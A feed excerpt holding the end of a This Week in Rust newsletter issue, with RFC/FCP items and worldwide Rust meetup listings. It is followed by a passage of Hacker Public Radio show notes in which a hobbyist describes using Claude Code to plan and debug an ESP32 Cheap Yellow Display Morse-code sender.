<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

